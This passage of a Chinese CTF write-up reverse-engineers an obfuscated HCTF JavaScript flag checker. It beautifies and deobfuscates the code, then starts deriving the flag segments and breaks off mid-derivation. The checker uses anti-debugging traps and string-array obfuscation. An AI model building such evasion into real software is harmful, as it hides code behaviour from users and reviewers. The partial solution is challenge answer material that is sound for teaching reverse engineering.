if(_0x4ee491==0x4)_0x545c12=0x1;for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0xa180('0x2f')]();for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0x43c8d1('1b')]('=');(function(){(function _0x3c3bd8(){try{(function _0x4dc510(_0x460a91){if((''+_0x460a91/_0x460a91)[_0xa180('0x30')]!==0x1||_0x460a91%0x14===0x0){(function(){}['constructor']('debugger')());}else{debugger;}_0x4dc510(++_0x460a91);}(0x0));}catch(_0x30f185){setTimeout(_0x3c3bd8,0x1388);}}());}());return _0x4dc510[_0xa180('0x31')]('');};e=_0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0])^0x53a3f32;if(e!=0x4b7c0a73){return![];}f=_0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0])^e;if(f!=0x4315332){return![];}n=f*e*_0x76e1e8[0x0][_0x43c8d1(0x8)];h=function(_0x4c466e,_0x28871){var _0x3ea581='';for(var _0x2fbf7a=0x0;_0x2fbf7a<_0x4c466e[_0x43c8d1(0x8)];_0x2fbf7a++){_0x3ea581+=_0x28871(_0x4c466e[_0x2fbf7a]);}return _0x3ea581;};j=_0x76e1e8[0x1][_0x43c8d1(0xe)]('3');if(j[0x0][_0x43c8d1(0x8)]!=j[0x1][_0x43c8d1(0x8)]||(_0x1c3854(j[0x0])^_0x1c3854(j[0x1]))!=0x1613){return![];}k=_0xffcc52=>_0xffcc52[_0x43c8d1('f')]()*_0x76e1e8[0x1][_0x43c8d1(0x8)];l=h(j[0x0],k);if(l!=0x2f9b5072){return![];}m=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0,0x4))-0x48a05362==n%l;function _0x5a6d56(_0x5a25ab,_0x4a4483){var _0x55b09f='';for(var _0x508ace=0x0;_0x508ace<_0x4a4483;_0x508ace++){_0x55b09f+=_0x5a25ab;}return _0x55b09f;}if(!m||_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5,0x1),0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5,0x4)||_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2,0x1)-_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)!=0x1){return![];}o=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2))[_0x43c8d1(0xd)](0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x1)[_0x43c8d1('f')]()*_0x76e1e8[0x4][_0x43c8d1(0x8)]*0x5;return o&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)==0x2&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2)==_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7,0x1),0x2);}catch(_0x4cbb89){console['log']('gg');return![];}}function test(){var _0x5bf136=document[_0xa180('0x32')](_0xa180('0x33'))['value'];if(_0x5bf136==''){console[_0xa180('0x34')](_0xa180('0x35'));return![];}var _0x4d0e29=check(_0x5bf136);if(_0x4d0e29){alert(_0xa180('0x36'));}else{alert(_0xa180('0x37'));}}window['onload']=function(){setInterval(_0xa180('0x38'),0x32);test();};

美化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
var _0x180a = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
};

function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [
function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}
];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510[_0xa180('0x31')]('');
};
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
};
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;

function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}

function test() {
var _0x5bf136 = document[_0xa180('0x32')](_0xa180('0x33'))['value'];
if (_0x5bf136 == '') {
console[_0xa180('0x34')](_0xa180('0x35'));
return ![];
}
var _0x4d0e29 = check(_0x5bf136);
if (_0x4d0e29) {
alert(_0xa180('0x36'));
} else {
alert(_0xa180('0x37'));
}
}
window['onload'] = function () {
setInterval(_0xa180('0x38'), 0x32);
test();
};

进一步反混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
var _0x180a = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];

// 洗牌
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));

// 获取数组内容
var _0xa180 = function (_0x5c351c, _0x2046d8) {
return _0x180a[_0x5c351c - 0x0];
};

// 主要的 check 函数
function check(input) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = input[_0x2e2f8d[0x5]](0x0, 0x4); // 获取输入的前四位,hctf{
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20); // Base64 编码,转成 int
console.log(_0x5cea12);

/* 启动 Debugger,干扰 console,但是对输入没有任何影响
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [
function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}
];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
*/

// 重新洗牌,保证输入的前四位是 hctf{
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));

// 获取数组内容
var _0x43c8d1 = function (_0x3120e0) {
return _0x2e2f8d[parseInt(_0x3120e0, 0x10)];
};

// 字符串转十六进制
var stringToHex = function (_0x52ba71) {
var result = '0x';
for (var i = 0x0; i < _0x52ba71[_0x43c8d1(0x8)]; i++) {
char = _0x52ba71[_0x43c8d1('f')](i)
result += char[_0x43c8d1(0xc)](0x10);
}
return result;
};

// 将输入按照“_”分割
var inputs = input[_0x43c8d1(0xe)]('_');

var a = inputs[0x0][_0x43c8d1(0xd)](-0x2, 0x2); // 第一段的最后两个字符
var b = inputs[0x0][_0x43c8d1(0xd)](0x4, 0x1); // 第一段的第五个字符,也就是“{”

// (第一段的最后两个字符 ^ '{') % 第一段长度 == 5
var challenge1 = (
stringToHex(a) ^ stringToHex(b)
// 第一段的长度
) % inputs[0x0][_0x43c8d1(0x8)] == 0x5; // 第一段长度大于 5
// 第一个判断条件,确定第一段的字符为 hctf{
// if (!challenge1) {
// return ![];
// }

// Base32 编码
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');

/* 启动 Debugger,干扰 console
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());

}());
*/
return _0x4dc510[_0xa180('0x31')]('');
};

// 将第三段 base32 编码,去除等号
a = b2c(inputs[0x2])[_0x43c8d1(0xe)]('=')[0x0];
challenge2 = stringToHex(a) ^ 0x53a3f32; // a = 0x53a3f32 ^ 0x4b7c0a73 = 0x4e463541 = 'NF5A====' = 'iz'
// 第二个判断条件,确定第三段的字符为 iz
if (challenge2 != 0x4b7c0a73) {
return ![];
}

// 将第四段 base32 编码,去除等号
a = b2c(inputs[0x3])[_0x43c8d1(0xe)]('=')[0x0];
challenge3 = stringToHex(a) ^ challenge2; // a = 0x4b7c0a73 ^ 0x4315332 = 'OMYA====' = 's0'
// 第三个判断条件,确定第四段的字符为 s0
if (challenge3 != 0x4315332) {
return ![];
}

// 0x4315332 * 0x4b7c0a73 * 第一段的长度
n = challenge3 * challenge2 * inputs[0x0][_0x43c8d1(0x8)];

h = function (seq, callback) {
var result = '';
for (var i = 0x0; i < seq[_0x43c8d1(0x8)]; i++) {
result += callback(seq[i]);
}
return result;
};

// 第二段以“3”进行分割
j = inputs[0x1][_0x43c8d1(0xe)]('3');
// 分割后的第一段和第二段长度相等
challenge4_1 = j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)];
// 异或以后等于 0x1613
challenge4_2 = (stringToHex(j[0x0]) ^ stringToHex(j[0x1])) != 0x1613;
// 第四个判断条件
// if (challenge4_1 || challenge4_2) {
// return ![];
// }

// x.charCodeAt() * input[1].length
k = x => x[_0x43c8d1('f')]() * inputs[0x1][_0x43c8d1(0x8)];
// 分割后的第一段每一个字符 * 第二段的长度,再加起来
challenge5 = h(j[0x0], k);
// 第五个判断条件
if (challenge5 != 0x2f9b5072) {
return ![];
}

// 确定 flag 一共有五段
// 第五段的前四个字符 - 0x48a05362 == n % 0x2f9b5072
m = stringToHex(inputs[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % challenge5;
function repreat(char, count) { // char * count
var result = '';
for (var i = 0x0; i < count; i++) {
result += char;
}
return result;
}

challenge6_1 = !m;
// 第五段第六个字符 * 2 != 第五段最后四个字符(除去了“}”)
challenge6_2 = repreat(inputs[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == inputs[0x4][_0x43c8d1(0xd)](-0x5, 0x4);
// 第五段的最后一个字符(除去了“}”) - 第五段第五个字符 == 1
challenge6_3 = inputs[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - inputs[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1;
// 第六个判断条件
if (challenge6_1 || challenge6_2 || challenge6_3) {
return ![];
}

a = inputs[0x4][_0x43c8d1(0xd)](0x6, 0x2)
b = inputs[0x4][_0x43c8d1(0xd)](0x6, 0x1)
c = inputs[0x4][_0x43c8d1(0x8)]
// 第五段第七第八个字符的 hex == 第五段第七个字符 * 第五段的长度 * 5
o = stringToHex(a)[_0x43c8d1(0xd)](0x2) == b[_0x43c8d1('f')]() * c * 0x5;
challenge7_1 = o;
// 第五段第五个字符 == '2'
// 根据 challenge6_3 得出第五段最后一个字符为 3
challenge7_2 = inputs[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2;
// 第五段第七第八个字符 == 第五段第八个字符 * 2
challenge7_3 = a == repreat(inputs[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
// 最终的判断条件
return challenge7_1 && challenge7_2 && challenge7_3;
} catch (e) {
console.log(e);
console['log']('gg');
return ![];
}
}

function test() {
// var input = document[_0xa180('0x32')](_0xa180('0x33'))['value'];
// 修改为从 query 获取 GET 参数方便调试
input = function(name){
var r = window.location.search.substr(1).match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)"));
if(r != null) {
return decodeURI(r[2]);
} else{
return '';
}
}('input');

if (input == '') {
console[_0xa180('0x34')](_0xa180('0x35'));
return ![];
}
var result = check(input);
if (result) {
alert(_0xa180('0x36'));
} else {
alert(_0xa180('0x37'));
}
}


window['onload'] = function () {
// window.console.clear();window.console.log('Welcome to HCTF :>')
//setInterval(_0xa180('0x38'), 0x32); // 干扰 console
test();
};

主要的判断逻辑在 check 函数里,首先看到最后的 inputs[0x4] 可以确定输入一共有五段,以下划线“_”分割,并且已知以“hctf{”开头,以“}”结尾。推测hctf{xxxx_xxxx_xxxx_xxxx_xxxx}

在 challenge1 处需要的条件是

  1. (第一段的最后两个字符的 hex ^ ‘{‘的 hex) % 第一段长度 == 5,可知第一段长度为 7

在 challenge2 处需要的条件是

  1. 第三段的 base32 除去等号的 hex ^ 0x53a3f32 == 0x4b7c0a73

由此可以计算出第三段的 base32 除去等号的 hex 为 0x4e463541,转为 base32 为 NF5A====,解码为 iz,推测hctf{xx_xxxx_iz_xxxx_xxxx}

在 challenge3 处需要的条件是

  1. 第四段的 base32 除去等号的 hex ^ 0x4b7c0a73 == 0x4315332

